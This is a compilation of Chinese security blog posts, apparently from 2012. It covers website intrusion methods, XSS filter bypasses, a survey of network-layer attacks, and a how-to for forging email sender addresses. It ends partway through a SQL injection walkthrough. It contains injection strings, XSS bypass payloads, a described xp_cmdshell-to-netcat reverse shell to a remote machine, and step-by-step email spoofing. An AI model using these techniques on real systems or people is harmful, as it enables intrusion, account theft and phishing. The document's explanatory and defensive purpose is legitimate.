的时候,不知不觉的中病毒和黑客程序,最后你电脑里面的重要资料,QQ号,网络游戏帐号,网上银行帐户里面的现金都会不翼而飞。 据专业权威机构统计,02年中国境内网站被入侵的比例不到10%,而到了06年,中国境内网站被入侵的比例是85%。黑客技术的普及化以及巨大商业利益的 窃取网上银行的资金,QQ号码倒卖,网络游戏装备和帐号的倒卖等地下黑客产业链的形成是导致网站遭遇安全事件的主因。
  二、WEB的各种攻击手段
  1、SQL注入漏洞的入侵
  这种是ASP+ACCESS的网站入侵方式,通过注入点列出数据库里面管理员的帐号和密码信息,然后猜解出网站的后台地址,然后用帐号和密码登录进去找到文件上传的地方,把ASP木马上传上去,获得一个网站的WEBSHELL。
  2、ASP上传漏洞的利用
  这种技术方式是利用一些网站的ASP上传功能来上传ASP木马的一种入侵方式,不少网站都限制了上传文件的类型,一般来说ASP为后缀的文件都不允许 上传,但是这种限制是可以被黑客突破的,黑客可以采取COOKIE欺骗的方式来上传ASP木马,获得网站的WEBSHELL权限。
  3、后台数据库备份方式获得WEBSHELL
  这个主要是利用网站后台对ACCESS数据库进行数据库备份和恢复的功能,备份数据库路径等变量没有过滤导致可以把任何文件的后缀改成ASP,那么利 用网站上传的功能上传一个文件名改成JPG或者GIF后缀的ASP木马,然后用这个恢复库备份和恢复的功能把这个木马恢复成ASP文件,从而达到能够获取 网站WEBSHELL控制权限的目的。
  4、网站旁注入侵
  这种技术是通过IP绑定域名查询的功能查出服务器上有多少网站,然后通过一些薄弱的网站实施入侵,拿到权限之后转而控制服务器的其它网站。
  5、sa注入点利用的入侵技术
  这种是ASP+MSSQL网站的入侵方式,找到有SA权限的SQL注入点,然后用SQL数据库的XP_CMDSHELL的存储扩展来运行系统命令建立 系统级别的帐号,然后通过3389登录进去,或者在一台肉鸡上用NC开设一个监听端口,然后用VBS一句话木马下载一个NC到服务器里面,接着运行NC的 反向连接命令,让服务器反向连接到远程肉鸡上,这样远程肉鸡就有了一个远程的系统管理员级别的控制权限。
  6、sa弱密码的入侵技术
  这种方式是用扫描器探测SQL的帐号和密码信息的方式拿到SA的密码,然后用SQLEXEC之类的工具通过1433端口连接到远程服务器上,然后开设 系统帐号,通过3389登录。然后这种入侵方式还可以配合WEBSHELL来使用,一般的ASP+MSSQL网站通常会把MSSQL的连接密码写到一个配 置文件当中,这个可以用WEBSHELL来读取配置文件里面的SA密码,然后可以上传一个SQL木马的方式来获取系统的控制权限。
  7、提交一句话木马的入侵方式
  这种技术方式是对一些数据库地址被改成asp文件的网站来实施入侵的。黑客通过网站的留言版,论坛系统等功能提交一句话木马到数据库里面,然后在木马客户端里面输入这个网站的数据库地址并提交,就可以把一个ASP木马写入到网站里面,获取网站的WEBSHELL权限。
  8、论坛漏洞利用入侵方式
  这种技术是利用一些论坛存在的安全漏洞来上传ASP木马获得WEBSHELL权限,最典型的就是,动网6.0版本,7.0版本都存在安全漏洞,拿 7.0版本来说,注册一个正常的用户,然后用抓包工具抓取用户提交一个ASP文件的COOKIE,然后用明小子之类的软件采取COOKIE欺骗的上传方式 就可以上传一个ASP木马,获得网站的WEBSHELL。
      学完这八种技术,身为网管员的你是否对黑客入侵服务器的方式有了详细的了解呢?更是否得出了有效的应对服务器入侵的办法呢
 

XSS攻击的防范

XSS攻击的防范

作者:飞鸟寒天 发布于:2012-4-11 10:55 Wednesday 分类:编程开发
1.过滤”<”和”>”标记
XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换”<”和’>”标记。

replace(str, "<", "<")
replace(str, ">", ">")

2.HTML属性过滤
使用上述的代码可以过滤掉”<”和”>”标记,让攻击者无法构造HTML标记。但是,攻击者可能会利用已存在的属性,如插入图片功能,将图片的路径属性修改为一段script代码,如

<img src="javascript:alert(/XSS攻击/)" width=100>
上述代码执行后,同样可以实现跨站的目的。而且很多的HTML标记里属性都支持“javascript:跨站代码”的形式,因此就需要对攻击者输入的数据进行如下转换:

replace(str, "javascript:", "")
replace(str, "jscript:", "")
replace(str, "vbscript:", "")
一旦用户输入的语句中含有”javascript”,”jscript”,”vbscript”,都用空白代替。

3.过滤特殊字符:&、回车和空格
因为HTML属性的值,可支持”&#ASCii”的形式进行表示,前面的跨站代码就可以换成这样:

<img src="javascript:alert(/XSS攻击/)" width=100>
即可突破过滤程序,继续进行跨站攻击,使用代码:

replace(str, "&", "&")
上述代码将”&”替换为了”&”,于是后面的语句就变形失效了。但是还有其他的方式绕过过滤,因为过滤关键字的方式具有很多的漏洞。攻击者可以构造下面的攻击代码:

<img src="javas     cript:alert(/XSS攻击/)" width=100>
这里关键字被空格,准确的说是Tab键进行了拆分,上面的代码就又失效了,这样就有考虑将Tab空格过滤,防止此类的跨站攻击。

4.HTML属性跨站的彻底防范
即使程序设计者彻底过滤了各种危险字符,确实给攻击者进行跨站入侵带来了麻烦,攻击者依然可以利用程序的缺陷进行攻击,因为攻击者可以利用前面说的属性和事件机制,构造执行script代码。例如,有下面这样一个图片标记代码:

<img src="#" onerror=alert(/跨站/)>
这是一个利用onerror事件的典型跨站攻击示例,于是许多程序设计者对此事件进行了过滤,一旦发现关键字”onerror”,就进行转换过滤。
然而攻击者可以利用的时间跨站方法,并不只有onerror一种,各种各样的属性都可以进行构造跨站攻击。例如:

<img src="#" style="Xss:expression(alert(/跨站/));">
这样的事件属性,同样是可以实现跨站攻击的。可以注意到,在“src=”#””和“style”之间有一个空格,也就是说属性之间需要空格分隔,于是程序设计者可能对空格进行过滤,以防范此类的攻击。但是过滤了空格之后,同样可以被攻击者突破。

<img src="#"/**/onerror=alert(/跨站/) width=100>
这段代码利用了脚本语言的规则漏洞,在脚本语言中的注释会被当成一个空白来表示。所以注释代码就简介的达到了空格的效果,使语句得以执行。

总结
以上攻击的出现,根本原因在于用户越权自己的标签,造成输入数据与程序代码的混淆。因此,保证程序安全 的办法,就是限制用户输入的空间,让用户在一个安全 的空间内活动。
其实过滤了”<”和”>”之后,就可以吧用户的输入在输出时放到双引号之间。然后要让用户的输入处在安全 的领域里,这是可以通过过滤用户输入数据中的双引号“””,来防止用户跨越许可的标记。
另外,再过滤掉空格和Tab键就不用担心关键字拆分绕过了。最后,还要过滤掉“script”关键字,并转换掉&。
只要注意到以上这五点过滤,就可以基本保证网站程序的安全 性,不被跨站攻击了。
当然,漏洞难免出现,要彻底地保证安全 ,舍弃HTML标签功能是最保险的解决方法,不过,这也许会让程序少了许多漂亮的效果。

常见网络攻击手段的原理分析

常见网络攻击手段的原理分析

作者:飞鸟寒天 发布于:2012-4-6 21:07 Friday 分类:网络百科
  1.1 TCP SYN拒绝服务攻击
  一般情况下,一个TCP连接的建立需要经过三次握手的过程,即:
  1、 建立发起者向目标计算机发送一个TCP SYN报文;
  2、目标计算机收到这个SYN报文后,在内存中创建TCP连接控制块(TCB),然后向发起者回送一个TCP ACK报文,等待发起者的回应;
  3、 发起者收到TCP ACK报文后,再回应一个ACK报文,这样TCP连接就建立起来了。

  利用这个过程,一些恶意的攻击者可以进行所谓的TCP SYN拒绝服务攻击:
  1、 攻击者向目标计算机发送一个TCP SYN报文;
  2、目标计算机收到这个报文后,建立TCP连接控制结构(TCB),并回应一个ACK,等待发起者的回应;
  3、而发起者则不向目标计算机回应ACK报文,这样导致目标计算机一致处于等待状态。
  可以看出,目标计算机如果接收到大量的TCP SYN报文,而没有收到发起者的第三次ACK回应,会一直等待,处于这样尴尬状态的半连接如果很多,则会把目标计算机的资源(TCB控制结构,TCB,一般情况下是有限的)耗尽,而不能响应正常的TCP连接请求。

  1.2 ICMP洪水
  正常情况下,为了对网络进行诊断,一些诊断程序,比如PING等,会发出ICMP响应请求报文(ICMP ECHO),接收计算机接收到ICMP ECHO后,会回应一个ICMP ECHO Reply报文。而这个过程是需要CPU处理的,有的情况下还可能消耗掉大量的资源,比如处理分片的时候。这样如果攻击者向目标计算机发送大量的ICMP ECHO报文(产生ICMP洪水),则目标计算机会忙于处理这些ECHO报文,而无法继续处理其它的网络数据报文,这也是一种拒绝服务攻击(DOS)。

  1.3 UDP洪水
  原理与ICMP洪水类似,攻击者通过发送大量的UDP报文给目标计算机,导致目标计算机忙于处理这些UDP报文而无法继续处理正常的报文。
 
  1.4 端口扫描
  根据TCP协议规范,当一台计算机收到一个TCP连接建立请求报文(TCP SYN)的时候,做这样的处理:
  1、 如果请求的TCP端口是开放的,则回应一个TCP ACK报文,并建立TCP连接控制结构(TCB);
  2、 如果请求的TCP端口没有开放,则回应一个TCP RST(TCP头部中的RST标志设为1)报文,告诉发起计算机,该端口没有开放。

  相应地,如果IP协议栈收到一个UDP报文,做如下处理:
  1、如果该报文的目标端口开放,则把该UDP报文送上层协议(UDP)处理,不回应任何报文(上层协议根据处理结果而回应的报文例外);
  2、如果该报文的目标端口没有开放,则向发起者回应一个ICMP不可达报文,告诉发起者计算机该UDP报文的端口不可达。

  利用这个原理,攻击者计算机便可以通过发送合适的报文,判断目标计算机哪些TCP或UDP端口是开放的,过程如下:
  1、发出端口号从0开始依次递增的TCP SYN或UDP报文(端口号是一个16比特的数字,这样最大为65535,数量很有限);
  2、如果收到了针对这个TCP报文的RST报文,或针对这个UDP报文的ICMP不可达报文,则说明这个端口没有开放;
  3、相反,如果收到了针对这个TCP SYN报文的ACK报文,或者没有接收到任何针对该UDP报文的ICMP报文,则说明该TCP端口是开放的,UDP端口可能开放(因为有的实现中可能不回应ICMP不可达报文,即使该UDP端口没有开放)。

  这样继续下去,便可以很容易的判断出目标计算机开放了哪些TCP或UDP端口,然后针对端口的具体数字,进行下一步攻击,这就是所谓的端口扫描攻击。

  1.5 分片IP报文攻击
  为了传送一个大的IP报文,IP协议栈需要根据链路接口的MTU对该IP报文进行分片,通过填充适当的IP头中的分片指示字段,接收计算机可以很容易的把这些IP分片报文组装起来。
  目标计算机在处理这些分片报文的时候,会把先到的分片报文缓存起来,然后一直等待后续的分片报文,这个过程会消耗掉一部分内存,以及一些 IP协议栈的数据结构。如果攻击者给目标计算机只发送一片分片报文,而不发送所有的分片报文,这样攻击者计算机便会一直等待(直到一个内部计时器到时), 如果攻击者发送了大量的分片报文,就会消耗掉目标计算机的资源,而导致不能相应正常的IP报文,这也是一种DOS攻击。

  1.6 SYN比特和FIN比特同时设置
  在TCP报文的报头中,有几个标志字段:
  1、 SYN:连接建立标志,TCP SYN报文就是把这个标志设置为1,来请求建立连接;
  2、 ACK:回应标志,在一个TCP连接中,除了第一个报文(TCP SYN)外,所有报文都设置该字段,作为对上一个报文的相应;
  3、 FIN: 结束标志,当一台计算机接收到一个设置了FIN标志的TCP报文后,会拆除这个TCP连接;
  4、 RST:复位标志,当IP协议栈接收到一个目标端口不存在的TCP报文的时候,会回应一个RST标志设置的报文;
  5、 PSH:通知协议栈尽快把TCP数据提交给上层程序处理。

  正常情况下,SYN标志(连接请求标志)和FIN标志(连接拆除标志)是不能同时出现在一个TCP报文中的。而且RFC也没有规定IP协议 栈如何处理这样的畸形报文,因此,各个操作系统的协议栈在收到这样的报文后的处理方式也不同,攻击者就可以利用这个特征,通过发送SYN和FIN同时设置 的报文,来判断操作系统的类型,然后针对该操作系统,进行进一步的攻击。

  1.7 没有设置任何标志的TCP报文攻击
  正常情况下,任何TCP报文都会设置SYN,FIN,ACK,RST,PSH五个标志中的至少一个标志,第一个TCP报文(TCP连接请求 报文)设置SYN标志,后续报文都设置ACK标志。有的协议栈基于这样的假设,没有针对不设置任何标志的TCP报文的处理过程,因此,这样的协议栈如果收 到了这样的报文,可能会崩溃。攻击者利用了这个特点,对目标计算机进行攻击。

  1.8 设置了FIN标志却没有设置ACK标志的TCP报文攻击
  正常情况下,ACK标志在除了第一个报文(SYN报文)外,所有的报文都设置,包括TCP连接拆除报文(FIN标志设置的报文)。但有的攻击者却可能向目标计算机发送设置了FIN标志却没有设置ACK标志的TCP报文,这样可能导致目标计算机崩溃。

  1.9 死亡之PING
  TCP/IP规范要求IP报文的长度在一定范围内(比如,0-64K),但有的攻击计算机可能向目标计算机发出大于64K长度的PING报文,导致目标计算机IP协议栈崩溃。{nextpage}

  1.10 地址猜测攻击
跟端口扫描攻击类似,攻击者通过发送目标地址变化的大量的ICMP ECHO报文,来判断目标计算机是否存在。如果收到了对应的ECMP ECHO REPLY报文,则说明目标计算机是存在的,便可以针对该计算机进行下一步的攻击。

  1.11 泪滴攻击
  对于一些大的IP包,需要对其进行分片传送,这是为了迎合链路层的MTU(最大传输单元)的要求。比如,一个4500字节的IP包,在MTU为1500的链路上传输的时候,就需要分成三个IP包。
  在IP报头中有一个偏移字段和一个分片标志(MF),如果MF标志设置为1,则表面这个IP包是一个大IP包的片断,其中偏移字段指出了这 个片断在整个IP包中的位置。例如,对一个4500字节的IP包进行分片(MTU为1500),则三个片断中偏移字段的值依次 为:0,1500,3000。这样接收端就可以根据这些信息成功的组装该IP包。
  如果一个攻击者打破这种正常情况,把偏移字段设置成不正确的值,即可能出现重合或断开的情况,就可能导致目标操作系统崩溃。比如,把上述偏移设置为0,1300,3000。这就是所谓的泪滴攻击。

  1.12 带源路由选项的IP报文
  为了实现一些附加功能,IP协议规范在IP报头中增加了选项字段,这个字段可以有选择的携带一些数据,以指明中间设备(路由器)或最终目标计算机对这些IP报文进行额外的处理。
  源路由选项便是其中一个,从名字中就可以看出,源路由选项的目的,是指导中间设备(路由器)如何转发该数据报文的,即明确指明了报文的传输 路径。比如,让一个IP报文明确的经过三台路由器R1,R2,R3,则可以在源路由选项中明确指明这三个路由器的接口地址,这样不论三台路由器上的路由表 如何,这个IP报文就会依次经过R1,R2,R3。而且这些带源路由选项的IP报文在传输的过程中,其源地址不断改变,目标地址也不断改变,因此,通过合 适的设置源路由选项,攻击者便可以伪造一些合法的IP地址,而蒙混进入网络。

  1.13 带记录路由选项的IP报文
  记录路由选项也是一个IP选项,携带了该选项的IP报文,每经过一台路由器,该路由器便把自己的接口地址填在选项字段里面。这样这些报文在到达目的地的时候,选项数据里面便记录了该报文经过的整个路径。
  通过这样的报文可以很容易的判断该报文经过的路径,从而使攻击者可以很容易的寻找其中的攻击弱点。

  1.14 未知协议字段的IP报文
  在IP报文头中,有一个协议字段,这个字段指明了该IP报文承载了何种协议,比如,如果该字段值为1,则表明该IP报文承载了ICMP报 文,如果为6,则是TCP,等等。目前情况下,已经分配的该字段的值都是小于100的,因此,一个带大于100的协议字段的IP报文,可能就是不合法的, 这样的报文可能对一些计算机操作系统的协议栈进行破坏。

  1.15 IP地址欺骗
  一般情况下,路由器在转发报文的时候,只根据报文的目的地址查路由表,而不管报文的源地址是什么,因此,这样就可能面临一种危险:如果一个 攻击者向一台目标计算机发出一个报文,而把报文的源地址填写为第三方的一个IP地址,这样这个报文在到达目标计算机后,目标计算机便可能向毫无知觉的第三 方计算机回应。这便是所谓的IP地址欺骗攻击。
  比较著名的SQL Server蠕虫病毒,就是采用了这种原理。该病毒(可以理解为一个攻击者)向一台运行SQL Server解析服务的服务器发送一个解析服务的UDP报文,该报文的源地址填写为另外一台运行SQL Server解析程序(SQL Server 2000以后版本)的服务器,这样由于SQL Server 解析服务的一个漏洞,就可能使得该UDP报文在这两台服务器之间往复,最终导致服务器或网络瘫痪。

  1.16 WinNuke攻击
  NetBIOS作为一种基本的网络资源访问接口,广泛的应用于文件共享,打印共享,进程间通信(IPC),以及不同操作系统之间的数据交 换。一般情况下,NetBIOS是运行在LLC2链路协议之上的,是一种基于组播的网络访问接口。为了在TCP/IP协议栈上实现NetBIOS,RFC 规定了一系列交互标准,以及几个常用的TCP/UDP端口:
  139:NetBIOS会话服务的TCP端口;
  137:NetBIOS名字服务的UDP端口;
  136:NetBIOS数据报服务的UDP端口。
  WINDOWS操作系统的早期版本(WIN95/98/NT)的网络服务(文件共享等)都是建立在NetBIOS之上的,因此,这些操作系 统都开放了139端口(最新版本的WINDOWS 2000/XP/2003等,为了兼容,也实现了NetBIOS over TCP/IP功能,开放了139端口)。
  WinNuke攻击就是利用了WINDOWS操作系统的一个漏洞,向这个139端口发送一些携带TCP带外(OOB)数据报文,但这些攻击 报文与正常携带OOB数据报文不同的是,其指针字段与数据的实际位置不符,即存在重合,这样WINDOWS操作系统在处理这些数据的时候,就会崩溃。

  1.17 Land攻击
  LAND攻击利用了TCP连接建立的三次握手过程,通过向一个目标计算机发送一个TCP SYN报文(连接建立请求报文)而完成对目标计算机的攻击。与正常的TCP SYN报文不同的是,LAND攻击报文的源IP地址和目的IP地址是相同的,都是目标计算机的IP地址。这样目标计算机接收到这个SYN报文后,就会向该 报文的源地址发送一个ACK报文,并建立一个TCP连接控制结构(TCB),而该报文的源地址就是自己,因此,这个ACK报文就发给了自己。这样如果攻击 者发送了足够多的SYN报文,则目标计算机的TCB可能会耗尽,最终不能正常服务。这也是一种DOS攻击。

  1.18 Script/ActiveX攻击
  Script是一种可执行的脚本,它一般由一些脚本语言写成,比如常见的JAVA SCRIPT,VB SCRIPT等。这些脚本在执行的时候,需要一个专门的解释器来翻译,翻译成计算机指令后,在本地计算机上运行。这种脚本的好处是,可以通过少量的程序写 作,而完成大量的功能。
  这种SCRIPT的一个重要应用就是嵌入在WEB页面里面,执行一些静态WEB页面标记语言(HTML)无法完成的功能,比如本地计算,数 据库查询和修改,以及系统信息的提取等。这些脚本在带来方便和强大功能的同时,也为攻击者提供了方便的攻击途径。如果攻击者写一些对系统有破坏的 SCRIPT,然后嵌入在WEB页面中,一旦这些页面被下载到本地,计算机当前用户的权限执行这些脚本,这样,当前用户所具有的任何权限,SCRIPT都 可以使用,可以想象这些恶意的SCRIPT的破坏程度有多强。这就是所谓的SCRIPT攻击。

  ActiveX是一种控件对象,它是建立在MICROSOFT的组件对象模型(COM)之上的,而COM则几乎是Windows操作系统的 基础结构。可以简单的理解,这些控件对象是由方法和属性构成的,方法即一些操作,而属性则是一些特定的数据。这种控件对象可以被应用程序加载,然后访问其 中的方法或属性,以完成一些特定的功能。可以说,COM提供了一种二进制的兼容模型(所谓二进制兼容,指的是程序模块与调用的编译环境,甚至操作系统没有 关系)。但需要注意的是,这种对象控件不能自己执行,因为它没有自己的进程空间,而只能由其它进程加载,并调用其中的方法和属性,这时候,这些控件便在加 载进程的进程空间运行,类似与操作系统的可加载模块,比如DLL库。
{nextpage}

ActiveX控件可以嵌入在WEB页面里面,当浏览器下载这些页面到本地后,相应地也下载了嵌入在其中的ActiveX控件,这样这些控件便 可以在本地浏览器进程空间中运行(ActiveX空间没有自己的进程空间,只能由其它进程加载并调用),因此,当前用户的权限有多大,ActiveX的破 坏性便有多大。如果一个恶意的攻击者编写一个含有恶意代码的ActiveX控件,然后嵌入在WEB页面中,被一个浏览用户下载后执行,其破坏作用是非常大 的。这便是所谓的ActiveX攻击。

  1.19 Smurf攻击
  ICMP ECHO请求包用来对网络进行诊断,当一台计算机接收到这样一个报文后,会向报文的源地址回应一个ICMP ECHO REPLY。一般情况下,计算机是不检查该ECHO请求的源地址的,因此,如果一个恶意的攻击者把ECHO的源地址设置为一个广播地址,这样计算机在恢复 REPLY的时候,就会以广播地址为目的地址,这样本地网络上所有的计算机都必须处理这些广播报文。如果攻击者发送的ECHO 请求报文足够多,产生的REPLY广播报文就可能把整个网络淹没。这就是所谓的smurf攻击。
  除了把ECHO报文的源地址设置为广播地址外,攻击者还可能把源地址设置为一个子网广播地址,这样,该子网所在的计算机就可能受影响。

  1.20 虚拟终端(VTY)耗尽攻击
  这是一种针对网络设备的攻击,比如路由器,交换机等。这些网络设备为了便于远程管理,一般设置了一些TELNET用户界面,即用户可以通过TELNET到该设备上,对这些设备进行管理。
  一般情况下,这些设备的TELNET用户界面个数是有限制的,比如,5个或10个等。这样,如果一个攻击者同时同一台网络设备建立了5个或 10个TELNET连接,这些设备的远程管理界面便被占尽,这样合法用户如果再对这些设备进行远程管理,则会因为TELNET连接资源被占用而失败。

  1.21 路由协议攻击
  网络设备之间为了交换路由信息,常常运行一些动态的路由协议,这些路由协议可以完成诸如路由表的建立,路由信息的分发等功能。常见的路由协 议有RIP,OSPF,IS-IS,BGP等。这些路由协议在方便路由信息管理和传递的同时,也存在一些缺陷,如果攻击者利用了路由协议的这些权限,对网 络进行攻击,可能造成网络设备路由表紊乱(这足可以导致网络中断),网络设备资源大量消耗,甚至导致网络设备瘫痪。

  下面列举一些常见路由协议的攻击方式及原理:

  1.21.1 针对RIP协议的攻击
  RIP,即路由信息协议,是通过周期性(一般情况下为30S)的路由更新报文来维护路由表的,一台运行RIP路由协议的路由器,如果从一个 接口上接收到了一个路由更新报文,它就会分析其中包含的路由信息,并与自己的路由表作出比较,如果该路由器认为这些路由信息比自己所掌握的要有效,它便把 这些路由信息引入自己的路由表中。
  这样如果一个攻击者向一台运行RIP协议的路由器发送了人为构造的带破坏性的路由更新报文,就很容易的把路由器的路由表搞紊乱,从而导致网络中断。
  如果运行RIP路由协议的路由器启用了路由更新信息的HMAC验证,则可从很大程度上避免这种攻击。

  1.21.2 针对OSPF路由协议的攻击
  OSPF,即开放最短路径优先,是一种应用广泛的链路状态路由协议。该路由协议基于链路状态算法,具有收敛速度快,平稳,杜绝环路等优点, 十分适合大型的计算机网络使用。OSPF路由协议通过建立邻接关系,来交换路由器的本地链路信息,然后形成一个整网的链路状态数据库,针对该数据库,路由 器就可以很容易的计算出路由表。
  可以看出,如果一个攻击者冒充一台合法路由器与网络中的一台路由器建立邻接关系,并向攻击路由器输入大量的链路状态广播(LSA,组成链路状态数据库的数据单元),就会引导路由器形成错误的网络拓扑结构,从而导致整个网络的路由表紊乱,导致整个网络瘫痪。
  当前版本的WINDOWS 操作系统(WIN 2K/XP等)都实现了OSPF路由协议功能,因此一个攻击者可以很容易的利用这些操作系统自带的路由功能模块进行攻击。
  跟RIP类似,如果OSPF启用了报文验证功能(HMAC验证),则可以从很大程度上避免这种攻击。

  1.21.3 针对IS-IS路由协议的攻击
  IS-IS路由协议,即中间系统到中间系统,是ISO提出来对ISO的CLNS网络服务进行路由的一种协议,这种协议也是基于链路状态的, 原理与OSPF类似。IS-IS路由协议经过扩展,可以运行在IP网络中,对IP报文进行选路。这种路由协议也是通过建立邻居关系,收集路由器本地链路状 态的手段来完成链路状态数据库同步的。该协议的邻居关系建立比OSPF简单,而且也省略了OSPF特有的一些特性,使该协议简单明了,伸缩性更强。

  对该协议的攻击与OSPF类似,通过一种模拟软件 与运行该协议的路由器建立邻居关系,然后传颂给攻击路由器大量的链路状态数据单元(LSP),可以导致整个网络路由器的链路状态数据库不一致(因为整个网 络中所有路由器的链路状态数据库都需要同步到相同的状态),从而导致路由表与实际情况不符,致使网络中断。
  与OSPF类似,如果运行该路由协议的路由器启用了IS-IS协议单元(PDU)HMAC验证功能,则可以从很大程度上避免这种攻击。

  1.22 针对设备转发表的攻击
  为了合理有限的转发数据,网络设备上一般都建立一些寄存器表项,比如MAC地址表,ARP表,路由表,快速转发表,以及一些基于更多报文头 字段的表格,比如多层交换表,流项目表等。这些表结构都存储在设备本地的内存中,或者芯片的片上内存中,数量有限。如果一个攻击者通过发送合适的数据报, 促使设备建立大量的此类表格,就会使设备的存储结构消耗尽,从而不能正常的转发数据或崩溃。

  下面针对几种常见的表项,介绍其攻击原理:

  1.22.1 针对MAC地址表的攻击
  MAC地址表一般存在于以太网交换机上,以太网通过分析接收到的数据幀的目的MAC地址,来查本地的MAC地址表,然后作出合适的转发决定。
  这些MAC地址表一般是通过学习获取的,交换机在接收到一个数据幀后,有一个学习的过程,该过程是这样的:
  a) 提取数据幀的源MAC地址和接收到该数据幀的端口号;
  b) 查MAC地址表,看该MAC地址是否存在,以及对应的端口是否符合;
  c) 如果该MAC地址在本地MAC地址表中不存在,则创建一个MAC地址表项;
  d) 如果存在,但对应的出端口跟接收到该数据幀的端口不符,则更新该表;
  e) 如果存在,且端口符合,则进行下一步处理。

  分析这个过程可以看出,如果一个攻击者向一台交换机发送大量源MAC地址不同的数据幀,则该交换机就可能把自己本地的MAC地址表学满。一旦MAC地址表溢出,则交换机就不能继续学习正确的MAC表项,结果是可能产生大量的网络冗余数据,甚至可能使交换机崩溃。
  而构造一些源MAC地址不同的数据幀,是非常容易的事情。{nextpage}

  1.22.2 针对ARP表的攻击
ARP表是IP地址和MAC地址的映射关系表,任何实现了IP协议栈的设备,一般情况下都通过该表维护IP地址和MAC地址的对应关系,这是为了避免ARP解析而造成的广播数据报文对网络造成冲击。ARP表的建立一般情况下是通过二个途径:
  1、主动解析,如果一台计算机想与另外一台不知道MAC地址的计算机通信,则该计算机主动发ARP请求,通过ARP协议建立(前提是这两台计算机位于同一个IP子网上);
  2、被动请求,如果一台计算机接收到了一台计算机的ARP请求,则首先在本地建立请求计算机的IP地址和MAC地址的对应表。

  因此,如果一个攻击者通过变换不同的IP地址和MAC地址,向同一台设备,比如三层交换机发送大量的ARP请求,则被攻击设备可能会因为ARP缓存溢出而崩溃。

  针对ARP表项,还有一个可能的攻击就是误导计算机建立正确的ARP表。根据ARP协议,如果一台计算机接收到了一个ARP请求报文,在满足下列两个条件的情况下,该计算机会用ARP请求报文中的源IP地址和源MAC地址更新自己的ARP缓存:
  1、 如果发起该ARP请求的IP地址在自己本地的ARP缓存中;
  2、 请求的目标IP地址不是自己的。

  可以举一个例子说明这个过程,假设有三台计算机A,B,C,其中B已经正确建立了A和C计算机的ARP表项。假设A是攻击者,此时,A发出一个ARP请求报文,该请求报文这样构造:
  1、 源IP地址是C的IP地址,源MAC地址是A的MAC地址;
  2、 请求的目标IP地址是A的IP地址。

  这样计算机B在收到这个ARP请求报文后(ARP请求是广播报文,网络上所有设备都能收到),发现B的ARP表项已经在自己的缓存中,但 MAC地址与收到的请求的源MAC地址不符,于是根据ARP协议,使用ARP请求的源MAC地址(即A的MAC地址)更新自己的ARP表。
  这样B的ARP混存中就存在这样的错误ARP表项:C的IP地址跟A的MAC地址对应。这样的结果是,B发给C的数据都被计算机A接收到。

  1.22.3 针对流项目表的攻击
  有的网络设备为了加快转发效率,建立了所谓的流缓存。所谓流,可以理解为一台计算机的一个进程到另外一台计算机的一个进程之间的数据流。如果表现在TCP/IP协议上,则是由(源IP地址,目的IP地址,协议号,源端口号,目的端口号)五元组共同确定的所有数据报文。

  一个流缓存表一般由该五元组为索引,每当设备接收到一个IP报文后,会首先分析IP报头,把对应的五元组数据提取出来,进行一个HASH运 算,然后根据运算结果查询流缓存,如果查找成功,则根据查找的结果进行处理,如果查找失败,则新建一个流缓存项,查路由表,根据路由表查询结果填完整这个 流缓存,然后对数据报文进行转发(具体转发是在流项目创建前还是创建后并不重要)。

  可以看出,如果一个攻击者发出大量的源IP地址或者目的IP地址变化的数据报文,就可能导致设备创建大量的流项目,因为不同的源IP地址和不同的目标IP地址对应不同的流。这样可能导致流缓存溢出。

伪造Email来源地址的方法

伪造Email来源地址的方法

作者:飞鸟寒天 发布于:2012-4-18 19:58 Wednesday 分类:网络百科
  实现原理:通过相关软件在本机建立SMTP服务端,让本机Email客户端 Outlook Express 直接向目标邮箱发送信件。数据传输:本地Outlook Express -> 本机SMTP服务端 -> 目标邮箱POP服务端 -> 目标邮箱。

  安装SMTP服务端软件:
  本文使用Advanced Direct Remailer, 此软件支持支持多线程和Socks5代理。安装完成后运行,系统右下角图标栏将会出现ADR的蓝色箭头图标。

  设置本机Email客户端:
  Outlook Express。打开Outlook Express 点击 工具 -> 帐户,打开“Internet 帐户”窗口,点击 添加 -> 邮件,显示名和电子邮件地址设置为需要伪造的发送人(假设为www.aooat.com)和来源邮箱地址(假设为admin@abcd.cn),接受邮件、发送邮件服务器均设置为本地IP 127.0.0.1,帐号密码设置可忽略,点下一步完成设置。

  发送伪造来源地址的邮件:
  用Outlook Express 创建邮件发送,输入目标邮箱地址(假设为aooat@aooat.com)、主题和内容,点发送,这时在系统右下角的ADR软件图标中会增加一个邮件图 案,点击打开ADR软件,“OutBox”选项卡中会看到刚发送的邮件:Sender为 admin@abcd.cn,Recipient为 aooat@aooat.com 。

  接下来设置SMTP服务端代理IP,右键OutBox中的邮件,点击 General Settings... -> Proxy,勾选 Connection through Socks v5 proxy server(通过socks5代理连接),输入代理IP和端口即可。也可不设置代理IP直接发送邮件,不过会在邮件SMTP服务端信息中暴露本机IP地 址。

  最后,点击ADR软件菜单Delivery -> Run Delivery或直接点击黑色三角图标的快捷按钮发送邮件,系统右下角的ADR软件图标中邮件图案会变成紫色三角图案表示正在发送。发送成功后该邮件会 出现在“Sent”选项卡中,失败后会出现在“Bad”选项卡中。
标签: Outlook Email

SQL注入全过程,含实例

初步注入--绕过验证,直接登录

公司网站登陆框如下:
image
可以看到除了账号密码之外,还有一个公司名的输入框,根据输入框的形式不难推出SQL的写法如下:
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
我发现前两者都做一些检查,而第三个输入框却疏忽了,漏洞就在这里!注入开始,在输入框中输入以下内容:
image
用户名乱填,密码留空,这种情况下点击登录按钮后竟然成功登录了。我们看一下最终的SQL就会找到原因:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
从代码可以看出,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果。而Sql注入的危害却不仅仅是匿名登录。

中级注入--借助异常获取信息。

现在我们在第三个输入框中写入:“‘ or 1=(SELECT @@version) –”。如下:
image
后台的SQL变成了这样:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'
判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误,但出错正是我们想要的。点击登录后,页面出现以下信息:
